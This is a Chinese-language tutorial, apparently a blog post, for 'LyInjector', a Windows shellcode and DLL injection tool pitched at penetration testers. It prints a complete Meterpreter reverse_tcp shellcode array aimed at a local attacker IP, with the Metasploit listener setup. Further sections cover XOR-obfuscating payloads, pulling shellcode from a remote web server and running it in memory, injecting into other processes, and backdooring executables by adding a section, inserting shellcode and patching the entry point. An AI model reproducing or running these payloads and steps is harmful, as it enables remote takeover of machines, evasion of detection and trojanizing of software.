一款基于C/C++开发的应用层汇编代码注入工具,可实现向特定进程内注入动态链接库模块或注入ShellCode汇编指令集,还可以实现第三方进程的汇编级Call调用,通常被用于协助渗透人员完成内存注入,同时也可用于对特定ShellCode汇编代码进行测试,以便更好地了解ShellCode的稳定及可用性。本次分享工具源代码及使用方法,读者可根据自己的需要参考学习,并以此来更好的理解内存注入技术。
生成ShellCode
本工具仅提供代码及动态链接库的注入功能,多数情况下需要自行编写所需ShellCode
代码,或直接配合Metasploit
等安全工具使用,通过Metasploit
工具生成ShellCode
的后,即可使用本工具对ShellCode
进行编码、压缩与格式化、注入等。同时,本工具还提供了多种实用小功能,如显示可注入进程、获取函数基址、新增节区等,可以帮助用户更加便捷地进行ShellCode
测试操作。
以生成32位攻击载荷为例,在kali
系统中,通过使用msfvenom
命令可以生成特定的载荷,在我们如下所示的命令中使用-a
用于指定生成载荷平台为32位,使用-p
指定使用reverse_tcp
反弹链接,使用lhost
指定本机IP
地址,使用lport
指定本机端口,最后-f
指定生成的ShellCode
为C语言格式。
──(lyshark㉿kali)-[~]
└─$ sudo msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x0a\x68\x02\x00"
"\x27\x0f\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
此外,后台侦听器的配置应使用与攻击载荷相对应的模块,在如下案例中通过运行msfconsole
进入控制台终端,使用use exploit/multi/handler
指定句柄,使用set payload
指定攻击载荷为reverse_tcp
,使用set lhost
及set lport
指定本端地址及端口信息,最后调用exploit -j
来将侦听器挂入后台,此时当ShellCode
被运行后将会反弹上线。
──(lyshark㉿kali)-[~]
└─$ sudo msfconsole
[+] Starting database
[i] The database appears to be already configured, skipping initialization
Metasploit tip: Start commands with a space to avoid saving them to history____________[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%| `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%][% .--------..-----.| |_ .---.-.| .,a$%|.-----.| |.-----.|__|| |_ %%][% | || -__|| _|| _ || ,,aS$""` || _ || || _ || || _|%%][% |__|__|__||_____||____||___._||%$P"` || __||__||_____||__||____|%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a, ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% `"$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]=[ metasploit v6.4.9-dev ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]Metasploit Documentation: https://docs.metasploit.com/msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf6 exploit(multi/handler) > set lport 9999
lport => 9999
msf6 exploit(multi/handler) > exploit -j
[*] Started reverse TCP handler on 0.0.0.0:9999
msf6 exploit(multi/handler) >
通用功能
Show: 该功能无需传入任何参数,用于列出当前系统中所有进程信息,这包括了进程的PID
进程位数以及进程名称等,如下输出信息所示;
C:\> LyInjector Show
[*] PID: 4 | 位数:x64 | 进程名:System
[*] PID: 104 | 位数:x64 | 进程名:Registry
[*] PID: 444 | 位数:x64 | 进程名:smss.exe
[*] PID: 592 | 位数:x64 | 进程名:csrss.exe
[*] PID: 684 | 位数:x64 | 进程名:csrss.exe
[*] PID: 708 | 位数:x64 | 进程名:wininit.exe
[*] PID: 748 | 位数:x64 | 进程名:winlogon.exe
[*] PID: 828 | 位数:x64 | 进程名:services.exe
[*] PID: 844 | 位数:x64 | 进程名:lsass.exe
[*] PID: 964 | 位数:x64 | 进程名:svchost.exe
[*] PID: 988 | 位数:x64 | 进程名:svchost.exe
[*] PID: 1016 | 位数:x64 | 进程名:fontdrvhost.exe
[*] PID: 1012 | 位数:x64 | 进程名:fontdrvhost.exe
[*] PID: 3568 | 位数:x32 | 进程名:wps.exe
[*] PID: 1084 | 位数:x32 | 进程名:wps.exe
[*] PID: 8408 | 位数:x64 | 进程名:cmd.exe
[*] PID: 4904 | 位数:x64 | 进程名:conhost.exe
[*] PID: 3032 | 位数:x64 | 进程名:audiodg.exe
[*] PID: 11072 | 位数:x64 | 进程名:LyInjector.exe
ShowDll: 该功能接收一个参数,传递--proc
用于指定一个正在运行的进程,可输出该进程所加载的所有DLL动态链接库名称及加载基址,如下输出信息所示;
C:\> LyInjector ShowDll --proc lyshark.exe
[+] DLL名称: USER32.dll | DLL基地址: 0x0000000076500000
[+] DLL名称: MSVCR120.dll | DLL基地址: 0x0000000057B80000
[+] DLL名称: KERNEL32.dll | DLL基地址: 0x0000000077050000
FreeDll: 该功能接受两个参数,通过传递--proc
指定一个正在运行的进程,通过--dll
指定用于卸载的模块名,执行后可将特定模块从进程中卸载掉,如下输出信息所示;
C:\> LyInjector FreeDll --proc lyshark.exe --dll MSVCR120D.dll
[+] 模块卸载状态: 1
GetFuncAddr: 该功能接收三个参数,传递--proc
指定一个正在运行的进程,传递--dll
指定一个动态链接库,传递--func
指定函数名,如下输出信息所示;
C:\> LyInjector GetFuncAddr --proc lyshark.exe --dll user32.dll --func MessageBoxA
[+] 函数地址: 0x76581f70
C:\>
C:\> LyInjector GetFuncAddr --proc lyshark.exe --dll user32.dll --func MessageBoxW
[+] 函数地址: 0x765823a0
Format: 该功能接收一个参数,传递--path
指定一个文本文件,可将该字节数组中的文本压缩为一行输出,如下输出信息所示;
C:\> more d://shellcode.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector Format --path d://shellcode.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
FormatFile: 该功能接收两个参数,传递--path
用于指定格式化之前的字节数组文本,传递--output
用于指定格式化后输出位置,如下输出信息所示;
C:\> more d://shellcode.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector FormatFile --path d://shellcode.txt --output d://output.txt
[+] 已储存 => d://output.txt
C:\>
C:\> more d://output.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
Xor: 该功能接收两个参数,传递--path
用于指定需要异或处理的文本文件,传递--passwd
用于指定异或加密密码,用于将文本中压缩后的字节数组进行异或处理并输出,如下输出信息所示;
C:\> more d://output.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector Xor --path d://output.txt --passwd lyshark
% &{{%ssssssuspr'q{z&vuw{!vqps{!vqs {!vqrws%!tw"qupr%%{!tqq{pr s" p urt sqq qs r %s'sr twztv&%vq{!vqrsvt{!wqp sr's{!wst{{v stww sr'svs{!v{qssr'p{!w{r{{v ztwp wz{!pw{!pr
Xchg: 该功能接收两个参数,传递--input
用于指定交换之前的文本文件,传递--output
用于指定需要交换之后的文本文件,用于将压缩后的字符串转为字节数组格式,如下输出信息所示;
C:\> more d://output.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector Xchg --input d://output.txt --output d://array.txt
[+] 字节已转为双字节
[*] 已写出ShellCode列表 => d://array.txt
C:\>
C:\> more d://array.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31";
XorArray: 该功能接收两个参数,传递--path
用于指定需要异或的文本文件,传递--passwd
用于指定一个密钥,用于将一个字节数组进行异或处理并输出,如下输出信息所示;
C:\> more d://shellcode.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector XorArray --path d://shellcode.txt --passwd lyshark
"\xbf\xab\xcc\x43\x43\x43\x23\x72\x91\xca\xa6\x27\xc8\x11\x73\xc8"
"\x11\x4f\xc8\x11\x57\x4c\xf4\x9\x65\x72\xbc\xc8\x31\x6b\x72"
"\x83\xef\x7f\x22\x3f\x41\x6f\x63\x82\x8c\x4e\x42\x84\xa\x36"
"\xac\x11\xc8\x11\x53\x14\xc8\x1\x7f\x42\x93\xc8\x3\x3b\xc6"
"\x83\x37\xf\x42\x93\x13\xc8\x1b\x63\x42\x90\xc8\xb\x5b\xc6"
"\x8a\x37\x7f\xa\xc8\x77\xc8\x72";
注入功能
InjectDLL: 该功能接收两个参数,传递--proc
指定需要注入的进程文件名,传递--dll
指定需要注入的动态链接库文件路径,用于将一个DLL
文件注入到对应的进程中,如下输出信息所示;
C:\> LyInjector InjectDLL --proc lyshark.exe --dll d://hook.dll
InjectSelfShell: 该功能接收一个参数,传递--shellcode
指定要注入的字符串,用于将指定的一段ShellCode
字符串注入到自身进程内并执行,如下输出信息所示;
C:\> LyInjector Format --path d://shellcode.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector InjectSelfShell --shellcode fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
InjectArrayByte: 该功能接收一个参数,传递--path
指定要接收的字节数组文件路径,用于将一段未被格式化的ShellCode数组注入到自身进程内并执行,如下输出信息所示;
C:\> more d://array.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector InjectArrayByte --path d://array.txt
FileInjectShell: 该功能接收一个参数,传递--path
指定要接受的字节数组文件路径,用于将一段已被格式化的ShellCode注入到自身进程内并执行,如下输出信息所示;
C:\> more d://output_shellcode.txt
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector FileInjectShell --path d://output_shellcode.txt
InjectWebShell: 该功能接收两个参数,传递--address
指定要接受的对端Web服务地址,传递--payload
指定服务器上的文本名,用于将一段已被格式化且存储在本地文本的ShellCode
置入内存并运行,如下输出信息所示;
C:\> more shellcode.raw
fce88f0000006031d289e5648b52308b520c8b52140fb74a2631ff8b722831c0ac3c617c022c20c1cf0d01c74975ef528b5210578b423c01d08b407885c0744c01d0508b582001d38b481885c9743c498b348b31
C:\>
C:\> LyInjector InjectWebShell --address 192.168.1.100 --payload shellcode.raw
EncodeInFile: 该功能接收两个参数,传递--path
指定一个加密后的文本路径,传递--passwd
指定解密密码,用于直接注入加密后的ShellCode载荷到自身进程内,如下输出信息所示;
C:\> LyInjector Xor --path d://output_shellcode.txt --passwd lyshark
% &{{%ssssssuspr'quw{!vqps{z&v{!vqs {!vqrw{!tqq{pr%%s%!tw"qupr s" p urt sqq qs r %s'
C:\>
C:\> LyInjector EncodeInFile --path d://xor_shellcode.txt --passwd lyshark
InjectProcShell: 该功能接收两个参数,传递--pid
用于指定需要注入的进程ID,传递--shellcode
用于指定需要注入的ShellCode
字符串,用于直接将一段ShellCode
注入到特定进程中执行,如下输出信息所示;
C:\> LyInjector InjectProcShell --pid 4480 --shellcode fce88f0000006031d2648b523089e...
EncodePidInFile: 该功能接收三个参数,传递--pid
用于指定需要注入的进程ID,传递--path
用于指定待注入的加密ShellCode代码,传递--passwd
用于指定解密密码,用于将一段加密后的ShellCode注入到目标内存中,如下输出信息所示;
C:\> LyInjector EncodePidInFile --pid 4480 --path d://shellcode.txt --passwd lyshark
AddSection: 该功能接收三个参数,传递--path
用于指定要新增节的程序路径,传递--section
用于指定要创建的节名称,传递--size
用于指定创建的节的长度,用于在指定PE文件中创建一个新的节,如下输出信息所示;
C:\> LyInjector AddSection --path d://lyshark.exe --section .hack --size 1024
[-] 当前DOS头: 0x18B70000
[-] 当前NT头: 0x0000000018B70100
InsertShellCode: 该功能接收三个参数,传递--path
用于指定要插入程序路径,传递--shellcode
用于指定要插入的ShellCode
文本文件,传递--offset
用于指定要插入的文件偏移位置,用于将ShellCode
插入到PE文件中的指定位置,如下输出信息所示;
C:\> more d://array.txt
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31\xff\x8b"
"\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
C:\>
C:\> LyInjector InsertShellCode --path d://lyshark.exe --shellcode d://array.txt --offset 1024
0xFC 0xE8 0x8F 0x00 0x00 0x00 0x60 0x31 0xD2 0x89 0xE5 0x64 0x8B 0x52 0x30 0x8B
0x52 0x0C 0x8B 0x52 0x14 0x0F 0xB7 0x4A 0x26 0x31 0xFF 0x8B 0x72 0x28 0x31 0xC0
0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0x49 0x75 0xEF 0x52
0x8B 0x52 0x10 0x57 0x8B 0x42 0x3C 0x01 0xD0 0x8B 0x40 0x78 0x85 0xC0 0x74 0x4C
0x01 0xD0 0x50 0x8B 0x58 0x20 0x01 0xD3 0x8B 0x48 0x18 0x85 0xC9 0x74 0x3C 0x49
0x8B 0x34 0x8B 0x31
[*] 已注入 ShellCode 到PE文件
[+] 注入起始FOA => 0x00000400 <DEC = 1024 > 注入结束FOA => 0x00000454 <DEC = 1108 >
RepairShellOep: 该功能接收三个参数,传递--path
用于指定要插入程序路径,传递--start_offset
用于指定ShellCode
的起始文件偏移,传递--end_offset
用于指定结束文件偏移,用于在ShellCode
末尾增加跳转回原始地址处的JMP
指令,如下输出信息所示;
C:\> LyInjector RepairShellOep --path d://lyshark.exe --start_offset 1024 --end_offset 1108
[+] 获取原OEP => 0x0000358B
[+] 在 ShellCode 尾部增加JMP跳转指令: 0x90 0x90 0x90 0x90 0xB8 0x8B 0x35 0x00 0x00 0xFF 0xE0 0x00 0x00 0x00 0x00
[*] 已增加跳转到 0x00000454 处的代码段
[+] 修正新入口地址: 0x00002400
SetSigFlag: 该功能接收一个参数,传递--path
用于指定要设置标志的程序路径,用于在被插入ShellCode
的程序上打标记,如下输出信息所示;
C:\> LyInjector SetSigFlag --path d://lyshark.exe
[+] 文件插入标记
C:\>
C:\> LyInjector SetSigFlag --path d://lyshark.exe
[-] 文件已被插入标记